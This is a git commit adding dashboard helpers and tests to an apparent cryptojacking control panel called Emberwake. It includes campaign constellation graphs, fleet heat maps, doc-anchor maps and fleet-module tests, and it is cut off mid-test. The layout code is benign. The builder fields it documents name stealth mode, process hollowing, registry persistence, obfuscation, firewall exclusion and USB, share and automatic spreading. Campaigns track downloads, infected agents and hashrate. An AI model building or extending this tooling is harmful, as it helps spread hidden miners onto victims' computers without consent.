feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
112
server/web/src/help/campaignConstellations.test.ts
Normal file
112
server/web/src/help/campaignConstellations.test.ts
Normal file
@@ -0,0 +1,112 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
import {
|
||||
buildConstellationEdges,
|
||||
buildConstellationGraph,
|
||||
conversionColor,
|
||||
initNodePositions,
|
||||
nodeBrightness,
|
||||
nodeRadius,
|
||||
settleForceLayout,
|
||||
tickForceLayout,
|
||||
} from './campaignConstellations';
|
||||
|
||||
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
|
||||
return {
|
||||
hits: 0,
|
||||
downloads: 0,
|
||||
agents: 0,
|
||||
online: 0,
|
||||
hashrate: 0,
|
||||
conversion_pct: 0,
|
||||
daily_hits: [],
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('campaignConstellations helpers', () => {
|
||||
it('scales node radius by hits', () => {
|
||||
expect(nodeRadius(0, 100)).toBe(10);
|
||||
expect(nodeRadius(100, 100)).toBeGreaterThan(nodeRadius(25, 100));
|
||||
expect(nodeRadius(100, 100)).toBeLessThanOrEqual(36);
|
||||
});
|
||||
|
||||
it('scales brightness from online agents', () => {
|
||||
expect(nodeBrightness(0, 5)).toBe(0.35);
|
||||
expect(nodeBrightness(5, 5)).toBe(1);
|
||||
expect(nodeBrightness(2, 4)).toBeCloseTo(0.675, 2);
|
||||
});
|
||||
|
||||
it('maps conversion to aether gradient colors', () => {
|
||||
expect(conversionColor(0)).toMatch(/^rgb\(/);
|
||||
expect(conversionColor(100)).toMatch(/^rgb\(/);
|
||||
expect(conversionColor(0)).not.toBe(conversionColor(100));
|
||||
});
|
||||
|
||||
it('links campaigns sharing pins', () => {
|
||||
const edges = buildConstellationEdges([
|
||||
{ campaign: 'a', pins: ['build-1', 'build-2'] },
|
||||
{ campaign: 'b', pins: ['build-2'] },
|
||||
{ campaign: 'c', pins: ['build-9'] },
|
||||
]);
|
||||
expect(edges).toHaveLength(1);
|
||||
expect(edges[0].source).toBe('a');
|
||||
expect(edges[0].target).toBe('b');
|
||||
expect(edges[0].sharedPins).toEqual(['build-2']);
|
||||
});
|
||||
|
||||
it('builds graph with pulsing flag when online', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'live', hits: 40, online: 2, conversion_pct: 12, pins: ['p1'] }),
|
||||
campaign({ campaign: 'cold', hits: 10, online: 0, conversion_pct: 0 }),
|
||||
]);
|
||||
expect(graph.nodes).toHaveLength(2);
|
||||
expect(graph.nodes.find((n) => n.campaign === 'live')?.pulsing).toBe(true);
|
||||
expect(graph.nodes.find((n) => n.campaign === 'cold')?.pulsing).toBe(false);
|
||||
});
|
||||
|
||||
it('initializes nodes inside viewport', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'x', hits: 5 }),
|
||||
campaign({ campaign: 'y', hits: 8 }),
|
||||
]);
|
||||
initNodePositions(graph.nodes, 400, 300);
|
||||
for (const n of graph.nodes) {
|
||||
expect(n.x).toBeGreaterThan(0);
|
||||
expect(n.x).toBeLessThan(400);
|
||||
expect(n.y).toBeGreaterThan(0);
|
||||
expect(n.y).toBeLessThan(300);
|
||||
}
|
||||
});
|
||||
|
||||
it('settles force layout without NaN coordinates', () => {
|
||||
const graph = buildConstellationGraph([
|
||||
campaign({ campaign: 'a', hits: 50, pins: ['pin-a'] }),
|
||||
campaign({ campaign: 'b', hits: 30, pins: ['pin-a'] }),
|
||||
campaign({ campaign: 'c', hits: 10, pins: ['pin-z'] }),
|
||||
]);
|
||||
settleForceLayout(graph.nodes, graph.edges, 480, 320, 80);
|
||||
for (const n of graph.nodes) {
|
||||
expect(Number.isFinite(n.x)).toBe(true);
|
||||
expect(Number.isFinite(n.y)).toBe(true);
|
||||
}
|
||||
const a = graph.nodes.find((n) => n.id === 'a')!;
|
||||
const b = graph.nodes.find((n) => n.id === 'b')!;
|
||||
const c = graph.nodes.find((n) => n.id === 'c')!;
|
||||
const ab = Math.hypot(a.x - b.x, a.y - b.y);
|
||||
const ac = Math.hypot(a.x - c.x, a.y - c.y);
|
||||
expect(ab).toBeLessThan(ac);
|
||||
});
|
||||
|
||||
it('tickForceLayout keeps nodes in bounds', () => {
|
||||
const graph = buildConstellationGraph([campaign({ campaign: 'solo', hits: 1 })]);
|
||||
initNodePositions(graph.nodes, 200, 150);
|
||||
for (let i = 0; i < 20; i++) {
|
||||
tickForceLayout(graph.nodes, graph.edges, 200, 150, 0.5);
|
||||
}
|
||||
const n = graph.nodes[0];
|
||||
expect(n.x).toBeGreaterThanOrEqual(24);
|
||||
expect(n.x).toBeLessThanOrEqual(200 - 24);
|
||||
});
|
||||
});
|
||||
226
server/web/src/help/campaignConstellations.ts
Normal file
226
server/web/src/help/campaignConstellations.ts
Normal file
@@ -0,0 +1,226 @@
|
||||
/** Campaign constellation force-graph helpers for Emberwake War Room. */
|
||||
|
||||
import type { WarRoomCampaign } from './warRoom';
|
||||
|
||||
export interface ConstellationNode {
|
||||
id: string;
|
||||
campaign: string;
|
||||
hits: number;
|
||||
online: number;
|
||||
conversionPct: number;
|
||||
pins: string[];
|
||||
radius: number;
|
||||
color: string;
|
||||
brightness: number;
|
||||
pulsing: boolean;
|
||||
x: number;
|
||||
y: number;
|
||||
vx: number;
|
||||
vy: number;
|
||||
}
|
||||
|
||||
export interface ConstellationEdge {
|
||||
source: string;
|
||||
target: string;
|
||||
sharedPins: string[];
|
||||
}
|
||||
|
||||
export interface ConstellationGraph {
|
||||
nodes: ConstellationNode[];
|
||||
edges: ConstellationEdge[];
|
||||
}
|
||||
|
||||
const MIN_RADIUS = 10;
|
||||
const MAX_RADIUS = 36;
|
||||
|
||||
/** Node radius scaled by hits (sqrt curve for readability). */
|
||||
export function nodeRadius(hits: number, maxHits: number): number {
|
||||
if (hits <= 0) return MIN_RADIUS;
|
||||
if (maxHits <= 0) return MIN_RADIUS + 4;
|
||||
const t = Math.sqrt(hits / maxHits);
|
||||
return MIN_RADIUS + t * (MAX_RADIUS - MIN_RADIUS);
|
||||
}
|
||||
|
||||
/** Brightness 0.35–1.0 from online agent count. */
|
||||
export function nodeBrightness(online: number, maxOnline: number): number {
|
||||
if (online <= 0) return 0.35;
|
||||
if (maxOnline <= 0) return 1;
|
||||
return 0.35 + 0.65 * (online / maxOnline);
|
||||
}
|
||||
|
||||
/** Aether palette: cool cyan (low) → gold (mid) → rose (high conversion). */
|
||||
export function conversionColor(pct: number): string {
|
||||
const t = Math.max(0, Math.min(1, pct / 100));
|
||||
if (t < 0.5) {
|
||||
const u = t / 0.5;
|
||||
const r = Math.round(61 + u * (201 - 61));
|
||||
const g = Math.round(214 + u * (162 - 214));
|
||||
const b = Math.round(198 + u * (39 - 198));
|
||||
return `rgb(${r},${g},${b})`;
|
||||
}
|
||||
const u = (t - 0.5) / 0.5;
|
||||
const r = Math.round(201 + u * (244 - 201));
|
||||
const g = Math.round(162 + u * (63 - 162));
|
||||
const b = Math.round(39 + u * (94 - 39));
|
||||
return `rgb(${r},${g},${b})`;
|
||||
}
|
||||
|
||||
/** Edges link campaigns that share at least one pin/build id. */
|
||||
export function buildConstellationEdges(
|
||||
campaigns: Pick<WarRoomCampaign, 'campaign' | 'pins'>[],
|
||||
): ConstellationEdge[] {
|
||||
const edges: ConstellationEdge[] = [];
|
||||
const seen = new Set<string>();
|
||||
|
||||
for (let i = 0; i < campaigns.length; i++) {
|
||||
const pinsA = new Set((campaigns[i].pins ?? []).filter(Boolean));
|
||||
if (!pinsA.size) continue;
|
||||
|
||||
for (let j = i + 1; j < campaigns.length; j++) {
|
||||
const shared = (campaigns[j].pins ?? []).filter((p) => pinsA.has(p));
|
||||
if (!shared.length) continue;
|
||||
|
||||
const a = campaigns[i].campaign;
|
||||
const b = campaigns[j].campaign;
|
||||
const key = a < b ? `${a}|${b}` : `${b}|${a}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
|
||||
edges.push({ source: a, target: b, sharedPins: [...new Set(shared)] });
|
||||
}
|
||||
}
|
||||
|
||||
return edges;
|
||||
}
|
||||
|
||||
/** Build graph nodes + pin-sharing edges from war-room campaigns. */
|
||||
export function buildConstellationGraph(campaigns: WarRoomCampaign[]): ConstellationGraph {
|
||||
const maxHits = Math.max(1, ...campaigns.map((c) => c.hits ?? 0));
|
||||
const maxOnline = Math.max(1, ...campaigns.map((c) => c.online ?? 0));
|
||||
|
||||
const nodes: ConstellationNode[] = campaigns.map((c) => {
|
||||
const hits = c.hits ?? 0;
|
||||
const online = c.online ?? 0;
|
||||
return {
|
||||
id: c.campaign,
|
||||
campaign: c.campaign,
|
||||
hits,
|
||||
online,
|
||||
conversionPct: c.conversion_pct ?? 0,
|
||||
pins: c.pins ?? [],
|
||||
radius: nodeRadius(hits, maxHits),
|
||||
color: conversionColor(c.conversion_pct ?? 0),
|
||||
brightness: nodeBrightness(online, maxOnline),
|
||||
pulsing: online > 0,
|
||||
x: 0,
|
||||
y: 0,
|
||||
vx: 0,
|
||||
vy: 0,
|
||||
};
|
||||
});
|
||||
|
||||
return { nodes, edges: buildConstellationEdges(campaigns) };
|
||||
}
|
||||
|
||||
/** Scatter nodes in a circle for force-sim cold start. */
|
||||
export function initNodePositions(nodes: ConstellationNode[], width: number, height: number): void {
|
||||
const cx = width / 2;
|
||||
const cy = height / 2;
|
||||
const ring = Math.min(width, height) * 0.32;
|
||||
|
||||
nodes.forEach((n, i) => {
|
||||
const angle = (i / Math.max(1, nodes.length)) * Math.PI * 2;
|
||||
n.x = cx + Math.cos(angle) * ring;
|
||||
n.y = cy + Math.sin(angle) * ring;
|
||||
n.vx = 0;
|
||||
n.vy = 0;
|
||||
});
|
||||
}
|
||||
|
||||
const REPULSE = 4200;
|
||||
const SPRING = 0.045;
|
||||
const SPRING_LEN = 90;
|
||||
const CENTER = 0.012;
|
||||
const DAMPING = 0.82;
|
||||
const PAD = 24;
|
||||
|
||||
/** One tick of lightweight force-directed layout (no D3). */
|
||||
export function tickForceLayout(
|
||||
nodes: ConstellationNode[],
|
||||
edges: ConstellationEdge[],
|
||||
width: number,
|
||||
height: number,
|
||||
alpha = 1,
|
||||
): void {
|
||||
const cx = width / 2;
|
||||
const cy = height / 2;
|
||||
const nodeById = new Map(nodes.map((n) => [n.id, n]));
|
||||
|
||||
for (let i = 0; i < nodes.length; i++) {
|
||||
for (let j = i + 1; j < nodes.length; j++) {
|
||||
const a = nodes[i];
|
||||
const b = nodes[j];
|
||||
let dx = b.x - a.x;
|
||||
let dy = b.y - a.y;
|
||||
let dist = Math.hypot(dx, dy) || 0.01;
|
||||
const minDist = a.radius + b.radius + 12;
|
||||
const force = (REPULSE * alpha) / (dist * dist);
|
||||
if (dist < minDist) {
|
||||
const push = ((minDist - dist) / dist) * 0.5;
|
||||
dx *= push;
|
||||
dy *= push;
|
||||
dist = Math.hypot(dx, dy) || 0.01;
|
||||
}
|
||||
const fx = (dx / dist) * force;
|
||||
const fy = (dy / dist) * force;
|
||||
a.vx -= fx;
|
||||
a.vy -= fy;
|
||||
b.vx += fx;
|
||||
b.vy += fy;
|
||||
}
|
||||
}
|
||||
|
||||
for (const e of edges) {
|
||||
const a = nodeById.get(e.source);
|
||||
const b = nodeById.get(e.target);
|
||||
if (!a || !b) continue;
|
||||
const dx = b.x - a.x;
|
||||
const dy = b.y - a.y;
|
||||
const dist = Math.hypot(dx, dy) || 0.01;
|
||||
const force = (dist - SPRING_LEN) * SPRING * alpha;
|
||||
const fx = (dx / dist) * force;
|
||||
const fy = (dy / dist) * force;
|
||||
a.vx += fx;
|
||||
a.vy += fy;
|
||||
b.vx -= fx;
|
||||
b.vy -= fy;
|
||||
}
|
||||
|
||||
for (const n of nodes) {
|
||||
n.vx += (cx - n.x) * CENTER * alpha;
|
||||
n.vy += (cy - n.y) * CENTER * alpha;
|
||||
n.vx *= DAMPING;
|
||||
n.vy *= DAMPING;
|
||||
n.x += n.vx;
|
||||
n.y += n.vy;
|
||||
|
||||
const r = n.radius + PAD;
|
||||
n.x = Math.max(r, Math.min(width - r, n.x));
|
||||
n.y = Math.max(r, Math.min(height - r, n.y));
|
||||
}
|
||||
}
|
||||
|
||||
/** Run layout to near-equilibrium; returns same node references (mutated). */
|
||||
export function settleForceLayout(
|
||||
nodes: ConstellationNode[],
|
||||
edges: ConstellationEdge[],
|
||||
width: number,
|
||||
height: number,
|
||||
ticks = 120,
|
||||
): ConstellationNode[] {
|
||||
initNodePositions(nodes, width, height);
|
||||
for (let t = ticks; t > 0; t--) {
|
||||
tickForceLayout(nodes, edges, width, height, t / ticks);
|
||||
}
|
||||
return nodes;
|
||||
}
|
||||
65
server/web/src/help/docAnchors.test.ts
Normal file
65
server/web/src/help/docAnchors.test.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
|
||||
import { FIELD_HELP } from './settingHelp';
|
||||
|
||||
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
|
||||
const HELP_TIP_FIELDS = [
|
||||
'calibrate_wallet', 'public_url', 'cloudflare_tunnel_token', 'open_firewall_on_start',
|
||||
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
|
||||
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
|
||||
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
|
||||
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
|
||||
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
|
||||
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
|
||||
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
|
||||
'process_name', 'display_mode', 'persistence', 'run_as', 'host_binary_target', 'auto_start',
|
||||
'autostart_mode', 'registry_persistence', 'registry_run_hkcu', 'registry_run_once',
|
||||
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
|
||||
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
] as const;
|
||||
|
||||
describe('docAnchors', () => {
|
||||
it('maps at least 60 forge/calibrate/crucible hints', () => {
|
||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||
});
|
||||
|
||||
it('returns /docs/# paths', () => {
|
||||
for (const path of Object.values(DOC_ANCHORS)) {
|
||||
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('docAnchorForField resolves known keys', () => {
|
||||
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
|
||||
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('covers top calibrate fields', () => {
|
||||
expect(DOC_ANCHORS.calibrate_wallet).toBeDefined();
|
||||
expect(DOC_ANCHORS.public_url).toBeDefined();
|
||||
expect(DOC_ANCHORS.cloudflare_tunnel_token).toBeDefined();
|
||||
});
|
||||
|
||||
it('covers top forge spread fields', () => {
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
|
||||
});
|
||||
|
||||
it('every HelpTip field has a wiki anchor', () => {
|
||||
for (const field of HELP_TIP_FIELDS) {
|
||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('covers newly added forge scheduling and fusion anchors', () => {
|
||||
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
|
||||
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');
|
||||
expect(DOC_ANCHORS.sign_tool_path).toBe('/docs/#forge');
|
||||
expect(DOC_ANCHORS.schedule_start).toBe('/docs/#agent');
|
||||
});
|
||||
});
|
||||
86
server/web/src/help/docAnchors.ts
Normal file
86
server/web/src/help/docAnchors.ts
Normal file
@@ -0,0 +1,86 @@
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#dashboard',
|
||||
calibrate_quick_setup: '/docs/#quick-start',
|
||||
public_url: '/docs/#quick-start',
|
||||
cloudflare_tunnel_token: '/docs/#dashboard',
|
||||
open_firewall_on_start: '/docs/#security-auth',
|
||||
obfuscate_default: '/docs/#forge',
|
||||
sign_enabled: '/docs/#forge',
|
||||
sign_cert_thumbprint: '/docs/#forge',
|
||||
sign_timestamp_url: '/docs/#forge',
|
||||
|
||||
// Forge — core
|
||||
worker_name: '/docs/#forge',
|
||||
server_url: '/docs/#quick-start',
|
||||
wallet: '/docs/#mining',
|
||||
pool_pass: '/docs/#mining',
|
||||
target_os: '/docs/#forge',
|
||||
target_arch: '/docs/#forge',
|
||||
output_dir: '/docs/#forge',
|
||||
thread_mode: '/docs/#forge',
|
||||
thread_percent: '/docs/#forge-stealth',
|
||||
threads: '/docs/#forge-stealth',
|
||||
cpu_priority: '/docs/#forge-stealth',
|
||||
max_cpu_usage_pct: '/docs/#agent',
|
||||
max_memory_percent: '/docs/#forge-stealth',
|
||||
min_free_ram_mb: '/docs/#forge-stealth',
|
||||
mining_mode: '/docs/#forge-stealth',
|
||||
idle_threshold_pct: '/docs/#forge-stealth',
|
||||
idle_duration_minutes: '/docs/#forge-stealth',
|
||||
schedule_start: '/docs/#agent',
|
||||
schedule_end: '/docs/#agent',
|
||||
install_base: '/docs/#forge-stealth',
|
||||
install_custom_base: '/docs/#forge-stealth',
|
||||
install_relative_path: '/docs/#forge-stealth',
|
||||
adapt_to_hardware: '/docs/#forge-stealth',
|
||||
process_hollowing: '/docs/#forge-stealth',
|
||||
file_logging: '/docs/#agent',
|
||||
process_name: '/docs/#forge-stealth',
|
||||
display_mode: '/docs/#forge-stealth',
|
||||
run_as: '/docs/#agent',
|
||||
host_binary_target: '/docs/#forge-stealth',
|
||||
auto_start: '/docs/#agent',
|
||||
autostart_mode: '/docs/#agent',
|
||||
registry_persistence: '/docs/#agent',
|
||||
registry_run_hkcu: '/docs/#agent',
|
||||
registry_run_once: '/docs/#agent',
|
||||
registry_run_hklm: '/docs/#agent',
|
||||
registry_explorer_run: '/docs/#agent',
|
||||
fusion_media_mode: '/docs/#forge',
|
||||
fusion_batch: '/docs/#forge',
|
||||
fusion_run_order: '/docs/#forge',
|
||||
fusion_output_name: '/docs/#forge',
|
||||
sign_tool_path: '/docs/#forge',
|
||||
stealth_mode: '/docs/#forge-stealth',
|
||||
self_healing: '/docs/#forge-stealth',
|
||||
persistence: '/docs/#agent',
|
||||
fusion_enabled: '/docs/#forge',
|
||||
fusion_prep: '/docs/#forge',
|
||||
obfuscate: '/docs/#forge',
|
||||
sign_build: '/docs/#forge',
|
||||
sigil_scramble: '/docs/#forge',
|
||||
https_beacon_fallback: '/docs/#agent',
|
||||
|
||||
// Forge — spread & ops
|
||||
usb_spread: '/docs/#spread-campaigns',
|
||||
share_spread: '/docs/#spread-campaigns',
|
||||
auto_spread: '/docs/#spread-campaigns',
|
||||
remote_aggressive: '/docs/#dashboard',
|
||||
mesh_p2p: '/docs/#agent',
|
||||
hole_punch: '/docs/#agent',
|
||||
|
||||
// AI
|
||||
ai_enabled: '/docs/#alerts-ai',
|
||||
ai_ollama_endpoint: '/docs/#alerts-ai',
|
||||
ai_model: '/docs/#alerts-ai',
|
||||
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#agent',
|
||||
firewall_exclusion: '/docs/#agent',
|
||||
};
|
||||
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
return DOC_ANCHORS[field];
|
||||
}
|
||||
67
server/web/src/help/fleetHeatMap.test.ts
Normal file
67
server/web/src/help/fleetHeatMap.test.ts
Normal file
@@ -0,0 +1,67 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import type { FleetGroup } from './fleetGroups';
|
||||
import {
|
||||
groupClusterCenter,
|
||||
hashrateSpiked,
|
||||
hashPosition,
|
||||
layoutAgentPoints,
|
||||
layoutComradePoints,
|
||||
} from './fleetHeatMap';
|
||||
|
||||
describe('fleetHeatMap', () => {
|
||||
it('hashPosition is stable for the same seed', () => {
|
||||
const a = hashPosition('node-alpha');
|
||||
const b = hashPosition('node-alpha');
|
||||
expect(a).toEqual(b);
|
||||
expect(a.x).toBeGreaterThanOrEqual(12);
|
||||
expect(a.y).toBeLessThanOrEqual(88);
|
||||
});
|
||||
|
||||
it('groupClusterCenter spreads clusters around the map', () => {
|
||||
const c0 = groupClusterCenter(0, 4);
|
||||
const c1 = groupClusterCenter(2, 4);
|
||||
expect(Math.hypot(c0.x - c1.x, c0.y - c1.y)).toBeGreaterThan(10);
|
||||
});
|
||||
|
||||
it('layoutAgentPoints clusters grouped agents and hashes ungrouped hosts', () => {
|
||||
const groups: FleetGroup[] = [
|
||||
{
|
||||
id: 'g1',
|
||||
name: 'Alpha',
|
||||
color: '#00f5ff',
|
||||
agentIds: ['a1', 'a2'],
|
||||
createdAt: '2026-01-01T00:00:00Z',
|
||||
},
|
||||
];
|
||||
const agents = [
|
||||
mockAgent({ id: 'a1', name: 'one', hostname: 'host-one' }),
|
||||
mockAgent({ id: 'a2', name: 'two', hostname: 'host-two' }),
|
||||
mockAgent({ id: 'a3', name: 'solo', hostname: 'solo-host' }),
|
||||
];
|
||||
const points = layoutAgentPoints(agents, groups);
|
||||
expect(points).toHaveLength(3);
|
||||
|
||||
const grouped = points.filter((p) => p.id === 'a1' || p.id === 'a2');
|
||||
const solo = points.find((p) => p.id === 'a3');
|
||||
const dist = Math.hypot(grouped[0].x - grouped[1].x, grouped[0].y - grouped[1].y);
|
||||
expect(dist).toBeLessThan(20);
|
||||
expect(solo?.color).toBeUndefined();
|
||||
|
||||
const soloAgain = layoutAgentPoints([agents[2]], groups).find((p) => p.id === 'a3');
|
||||
expect(solo).toEqual(soloAgain);
|
||||
});
|
||||
|
||||
it('layoutComradePoints uses distinct comrade kind', () => {
|
||||
const pts = layoutComradePoints(['india', 'ally']);
|
||||
expect(pts.every((p) => p.kind === 'comrade')).toBe(true);
|
||||
expect(pts[0].id).toBe('comrade:india');
|
||||
});
|
||||
|
||||
it('hashrateSpiked detects ratio and minimum delta', () => {
|
||||
expect(hashrateSpiked(undefined, 0)).toBe(false);
|
||||
expect(hashrateSpiked(undefined, 80)).toBe(true);
|
||||
expect(hashrateSpiked(100, 110)).toBe(false);
|
||||
expect(hashrateSpiked(100, 160)).toBe(true);
|
||||
});
|
||||
});
|
||||
129
server/web/src/help/fleetHeatMap.ts
Normal file
129
server/web/src/help/fleetHeatMap.ts
Normal file
@@ -0,0 +1,129 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { FleetGroup } from './fleetGroups';
|
||||
import { FLEET_GROUP_COLORS, primaryGroupForAgent } from './fleetGroups';
|
||||
|
||||
export interface MapPoint {
|
||||
id: string;
|
||||
kind: 'agent' | 'comrade';
|
||||
x: number;
|
||||
y: number;
|
||||
label: string;
|
||||
color?: string;
|
||||
online?: boolean;
|
||||
}
|
||||
|
||||
export const COMRADE_DOT_COLOR = '#ffb020';
|
||||
|
||||
export const HASHRATE_SPIKE_RATIO = 1.25;
|
||||
export const HASHRATE_SPIKE_MIN_DELTA = 50;
|
||||
|
||||
export function hashString(seed: string): number {
|
||||
let h = 0;
|
||||
for (let i = 0; i < seed.length; i++) {
|
||||
h = (h * 31 + seed.charCodeAt(i)) >>> 0;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
/** Stable pseudo-random position from a string seed (percent coords). */
|
||||
export function hashPosition(seed: string, margin = 12): { x: number; y: number } {
|
||||
const h = hashString(seed);
|
||||
const range = 100 - margin * 2;
|
||||
return {
|
||||
x: margin + ((h % 1000) / 1000) * range,
|
||||
y: margin + (((h >>> 10) % 1000) / 1000) * range,
|
||||
};
|
||||
}
|
||||
|
||||
export function groupClusterCenter(
|
||||
groupIndex: number,
|
||||
totalGroups: number,
|
||||
margin = 14,
|
||||
): { x: number; y: number } {
|
||||
const angle = (groupIndex / Math.max(totalGroups, 1)) * Math.PI * 2 - Math.PI / 2;
|
||||
const cx = 50 + Math.cos(angle) * 30;
|
||||
const cy = 50 + Math.sin(angle) * 30;
|
||||
return {
|
||||
x: Math.max(margin, Math.min(100 - margin, cx)),
|
||||
y: Math.max(margin, Math.min(100 - margin, cy)),
|
||||
};
|
||||
}
|
||||
|
||||
export function agentMapPosition(
|
||||
agent: Agent,
|
||||
group: FleetGroup | undefined,
|
||||
groupIndex: number,
|
||||
totalGroups: number,
|
||||
agentIndexInCluster: number,
|
||||
clusterSize: number,
|
||||
): { x: number; y: number } {
|
||||
const seed = agent.hostname || agent.name || agent.id;
|
||||
if (group) {
|
||||
const center = groupClusterCenter(groupIndex, totalGroups);
|
||||
const jitter = hashPosition(`${group.id}:${agent.id}`, 0);
|
||||
const spread = Math.min(9, 2.5 + clusterSize * 0.7);
|
||||
const angle = (agentIndexInCluster / Math.max(clusterSize, 1)) * Math.PI * 2;
|
||||
return {
|
||||
x: center.x + Math.cos(angle) * spread + (jitter.x - 50) * 0.06,
|
||||
y: center.y + Math.sin(angle) * spread + (jitter.y - 50) * 0.06,
|
||||
};
|
||||
}
|
||||
return hashPosition(seed);
|
||||
}
|
||||
|
||||
export function agentAccentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||||
if (groupColor) return groupColor;
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return FLEET_GROUP_COLORS[idx % FLEET_GROUP_COLORS.length] ?? FLEET_GROUP_COLORS[0];
|
||||
}
|
||||
|
||||
export function hashrateSpiked(prev: number | undefined, current: number): boolean {
|
||||
if (current <= 0) return false;
|
||||
if (prev === undefined || prev <= 0) return current >= HASHRATE_SPIKE_MIN_DELTA;
|
||||
const delta = current - prev;
|
||||
return delta >= HASHRATE_SPIKE_MIN_DELTA && current >= prev * HASHRATE_SPIKE_RATIO;
|
||||
}
|
||||
|
||||
export function layoutAgentPoints(agents: Agent[], groups: FleetGroup[]): MapPoint[] {
|
||||
const groupsWithAgents = groups.filter((g) => agents.some((a) => g.agentIds.includes(a.id)));
|
||||
|
||||
return agents.map((agent) => {
|
||||
const pg = primaryGroupForAgent(groups, agent.id);
|
||||
const groupIndex = pg ? groupsWithAgents.findIndex((g) => g.id === pg.id) : -1;
|
||||
const clusterAgents = pg ? agents.filter((a) => pg.agentIds.includes(a.id)) : [];
|
||||
const agentIndexInCluster = pg ? clusterAgents.findIndex((a) => a.id === agent.id) : 0;
|
||||
const pos = agentMapPosition(
|
||||
agent,
|
||||
pg,
|
||||
groupIndex >= 0 ? groupIndex : 0,
|
||||
groupsWithAgents.length || 1,
|
||||
agentIndexInCluster,
|
||||
clusterAgents.length,
|
||||
);
|
||||
|
||||
return {
|
||||
id: agent.id,
|
||||
kind: 'agent' as const,
|
||||
x: pos.x,
|
||||
y: pos.y,
|
||||
label: agent.name,
|
||||
color: pg?.color,
|
||||
online: agent.status === 'online',
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
export function layoutComradePoints(users: string[]): MapPoint[] {
|
||||
return users.map((user) => {
|
||||
const pos = hashPosition(`comrade:${user}`, 8);
|
||||
return {
|
||||
id: `comrade:${user}`,
|
||||
kind: 'comrade' as const,
|
||||
x: pos.x,
|
||||
y: pos.y,
|
||||
label: user,
|
||||
color: COMRADE_DOT_COLOR,
|
||||
online: true,
|
||||
};
|
||||
});
|
||||
}
|
||||
51
server/web/src/help/fleetModules.test.ts
Normal file
51
server/web/src/help/fleetModules.test.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
capabilitiesMatchModule,
|
||||
findFleetModule,
|
||||
moduleFeatureFlags,
|
||||
modulePushLabel,
|
||||
resolveFleetModules,
|
||||
} from './fleetModules';
|
||||
import type { FleetModuleManifest } from '../types';
|
||||
|
||||
const crucible: FleetModuleManifest = {
|
||||
name: 'crucible_ops',
|
||||
version: '1',
|
||||
display_name: 'Crucible Ops',
|
||||
features: { remote_aggressive: true },
|
||||
};
|
||||
|
||||
describe('fleetModules', () => {
|
||||
it('falls back to built-in packs when list is empty', () => {
|
||||
const list = resolveFleetModules([]);
|
||||
expect(list.map((m) => m.name)).toEqual(['crucible_ops', 'spread', 'gpu']);
|
||||
});
|
||||
|
||||
it('builds guided push label for group target', () => {
|
||||
